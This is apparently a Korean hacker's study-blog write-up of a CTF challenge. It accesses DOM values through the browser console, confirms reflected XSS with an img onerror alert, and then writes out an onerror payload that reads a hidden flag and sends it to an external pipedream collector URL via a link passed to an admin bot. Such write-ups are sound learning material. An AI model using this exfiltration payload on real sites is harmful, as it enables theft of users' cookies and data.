DOM 접근 및 조작을 이용하여 XSS 공격
[이 블로그는 해킹 공부하면서 가볍게 정리용으로 기록 및 내 생각을 끄적여 두기 위한 블로그(라 쓰고 일기라 읽는)이다.]
- 목차
- 브라우저 콘솔 페이지 및 JS를 이용하여 객체접근
- URL에 Eventhandler로 원하는 객체 정보 띄우기
- XSS 공격
1. 브라우저 콘솔 페이지 및 JS를 이용하여 객체접근
브라우저에서 html 문서의 코드를 보려면 페이지 소스보기 말고도 윈도우의 경우 f12 맥 같은 경우는 option+command+i 버튼을 눌러주면 된다.
그러면 페이지의 코드들을 편하게 볼 수 있는 개발자 페이지가 뜨게 되며 바로 옆의 탭에 콘솔 페이지가 있다.
CTF문제를 이용하여 설명을 진행해 보겠다. 취약점이 있는 위치는 문제에서 공개가 되었고 flag탈취가 목적이다.


페이지 소스에서 코드를 찍어보면 그 코드가 페이지에서 어느 부분인지 스크린샷과 같이 웹 페이지에서 표시된다.
getElement 함수를 통해서 document의 여러 부분들을 가져올 수 있는데 id, class, name, tagname 등등 정보를 가져올 수 있다. 여기서 id는 고유한 정보이므로 getElement로 쓰이고 나머지는 getElements 로 복수형으로 붙는점을 알고 넘어가야 한다.
여기서 Flag Here..! 이 있는 곳의 정보에는 name의 info를 사용하여 가져오면 될 것 같고 name info의 값이 하나 더 있는 것으로 보여 인덱스 값을 [0]으로 지정해 주고 placeholder위치까지 지정해 주면 된다.
- document.getElementsByName('info')[0].placeholder

그럼 콘솔창에 Flag Here..! 이 뜨는 것을 볼 수 있다.
2. URL에 Eventhandler로 원하는 객체 정보 띄우기
그러면 이제 취약점이 있는 마이페이지 URL창에 img태그를 이용하여 alert 경고창을 띄워보겠다.

보이는 바와 같이 스크립트문이 실행되는 것을 볼 수 있다. 그럼 Reflected XSS 공격을 할 수 있다는 조건이 완성되었다.
여기서 이제 먼저 URL창에 Eventhandler를 이용하여 스크립트문을 써서 콘솔창에 Flag Here..!이 띄워지는 것을 먼저 해보겠다.
- <img src = x onerrer = console(document.getElementsByName('info')[0].placeholder>

404(Not Found) 에러와 함께 Flag Here..! 이 뜬 것을 볼 수 있다.
3. XSS 공격
그럼 이제 지난 게시물에서 XSS로 쿠키값을 가져왔던 것처럼 똑같이 리퀘스트빈을 이용하여 URL에 코드를 작성하여 공격을 시도해보겠다.
<img src=x onerror = "var data = document.getElementsByName('info')[0].placeholder;
var i = new Image();
i.src = 'https://eny83a0w939b9.x.pipedream.net/?cookie='%2bdata;"
를 URL에 붙여 넣어주고 복사하여 관리자 봇에게 링크를 전달한다.


플래그 값이 원하는 공격자의 서버에 들어와 지는 모습을 볼 수 있다.
이 해킹 기법을 쓰려면 자바스크립트를 잘 다뤄야 되는 것이 필요해 보이고 이벤트핸들러에 관해서도 공부해 볼 필요성을 느끼게 되었다.
onerror 말고도 onclick onload onfuchs autufocus 등등 더 사용해 봐서 숙달을 해봐야겠다.
끝!